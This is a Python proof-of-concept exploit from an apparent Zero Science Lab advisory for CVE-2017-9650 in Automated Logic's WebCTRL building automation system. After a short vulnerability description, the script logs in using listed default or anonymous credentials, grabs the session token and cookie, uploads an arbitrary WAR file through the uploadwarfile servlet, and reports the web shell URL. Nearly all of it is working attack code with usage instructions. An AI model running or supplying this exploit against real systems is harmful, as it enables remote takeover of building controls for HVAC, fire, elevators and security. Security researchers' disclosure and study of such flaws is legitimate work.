1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 |
#!/usr/bin/env python # -*- coding: utf8 -*- # # # Automated Logic WebCTRL 6.5 Unrestricted File Upload Remote Code Execution # # # Vendor: Automated Logic Corporation # Product web page: http://www.automatedlogic.com # Affected version: ALC WebCTRL, i-Vu, SiteScan Web 6.5 and prior # ALC WebCTRL, SiteScan Web 6.1 and prior # ALC WebCTRL, i-Vu 6.0 and prior # ALC WebCTRL, i-Vu, SiteScan Web 5.5 and prior # ALC WebCTRL, i-Vu, SiteScan Web 5.2 and prior # # Summary: WebCTRL®, Automated Logic's web-based building automation # system, is known for its intuitive user interface and powerful integration # capabilities. It allows building operators to optimize and manage # all of their building systems - including HVAC, lighting, fire, elevators, # and security - all within a single HVAC controls platform. It's everything # they need to keep occupants comfortable, manage energy conservation measures, # identify key operational problems, and validate the results. # # Desc: WebCTRL suffers from an authenticated arbitrary code execution # vulnerability. The issue is caused due to the improper verification # when uploading Add-on (.addons or .war) files using the uploadwarfile # servlet. This can be exploited to execute arbitrary code by uploading # a malicious web archive file that will run automatically and can be # accessed from within the webroot directory. Additionaly, an improper # authorization access control occurs when using the 'anonymous' user. # By specification, the anonymous user should not have permissions or # authorization to upload or install add-ons. In this case, when using # the anonymous user, an attacker is still able to upload a malicious # file via insecure direct object reference and execute arbitrary code. # The anonymous user was removed from version 6.5 of WebCTRL. # # Tested on: Microsoft Windows 7 Professional (6.1.7601 Service Pack 1 Build 7601) #Apache-Coyote/1.1 #Apache Tomcat/7.0.42 #CJServer/1.1 #Java/1.7.0_25-b17 #Java HotSpot Server VM 23.25-b01 #Ant 1.7.0 #Axis 1.4 #Trove 2.0.2 #Xalan Java 2.4.1 #Xerces-J 2.6.1 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2017-5431 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5431.php # # ICS-CERT: https://ics-cert.us-cert.gov/advisories/ICSA-17-234-01 # CVE ID: CVE-2017-9650 # CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9650 # # # 30.01.2017 # # import itertools import mimetools import mimetypes import cookielib import binascii import urllib2 import urllib import sys import re import os from urllib2 import URLError global bindata __author__ = 'lqwrm' piton = os.path.basename(sys.argv[0]) def bannerche(): print ''' @-------------------------------------------------@ | | |WebCTRL 6.5 Authenticated RCE PoC| | ID: ZSL-2017-5431 | | Copyleft (c) 2017, Zero Science Lab | | | @-------------------------------------------------@ ''' if len(sys.argv) < 3: print '[+] Usage: '+piton+' <IP> <WAR FILE>' print '[+] Example: '+piton+' 10.0.0.17 webshell.war\n' sys.exit() bannerche() host = sys.argv[1] filename = sys.argv[2] with open(filename, 'rb') as f: content = f.read() hexo = binascii.hexlify(content) bindata = binascii.unhexlify(hexo) cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) urllib2.install_opener(opener) print '[+] Probing target http://'+host try: checkhost = opener.open('http://'+host+'/index.jsp?operatorlocale=en') except urllib2.HTTPError, errorzio: if errorzio.code == 404: print '[!] Error 001:' print '[-] Check your target!' print sys.exit() except URLError, errorziocvaj: if errorziocvaj.reason: print '[!] Error 002:' print '[-] Check your target!' print sys.exit() print '[+] Target seems OK.' print '[+] Login please:' print ''' Default username: Administrator, Anonymous Default password: (blank), (blank) ''' username = raw_input('[*] Enter username: ') password = raw_input('[*] Enter password: ') login_data = urllib.urlencode({'pass':password, 'name':username, 'touchscr':'false'}) opener.addheaders = [('User-agent', 'Thrizilla/33.9')] login = opener.open('http://'+host+'/?language=en', login_data) auth = login.read() if re.search(r'productName = \'WebCTRL', auth): print '[+] Authenticated!' token = re.search('wbs=(.+?)&', auth).group(1) print '[+] Got wbs token: '+token cookie1, cookie2 = [str(c) for c in cj] cookie = cookie1[8:51] print '[+] Got cookie: '+cookie else: print '[-] Incorrect username or password.' print sys.exit() print '[+] Sending payload.' class MultiPartForm(object): def __init__(self): self.form_fields = [] self.files = [] self.boundary = mimetools.choose_boundary() return def get_content_type(self): return 'multipart/form-data; boundary=%s' % self.boundary def add_field(self, name, value): self.form_fields.append((name, value)) return def add_file(self, fieldname, filename, fileHandle, mimetype=None): body = fileHandle.read() if mimetype is None: mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream' self.files.append((fieldname, filename, mimetype, body)) return def __str__(self): parts = [] part_boundary = '--' + self.boundary parts.extend( [ part_boundary, 'Content-Disposition: form-data; name="%s"' % name, '', value, ] for name, value in self.form_fields ) parts.extend( [ part_boundary, 'Content-Disposition: file; name="%s"; filename="%s"' % \ (field_name, filename), 'Content-Type: %s' % content_type, '', body, ] for field_name, filename, content_type, body in self.files ) flattened = list(itertools.chain(*parts)) flattened.append('--' + self.boundary + '--') flattened.append('') return '\r\n'.join(flattened) if __name__ == '__main__': form = MultiPartForm() form.add_field('wbs', token) form.add_field('file"; filename="'+filename, bindata) request = urllib2.Request('http://'+host+'/_common/servlet/lvl5/uploadwarfile') request.add_header('User-agent', 'SCADA/8.0') body = str(form) request.add_header('Content-type', form.get_content_type()) request.add_header('Cookie', cookie) request.add_header('Content-length', len(body)) request.add_data(body) request.get_data() urllib2.urlopen(request).read() print '[+] Payload uploaded.' print '[+] Shell available at: http://'+host+'/'+filename[:-4] print sys.exit() |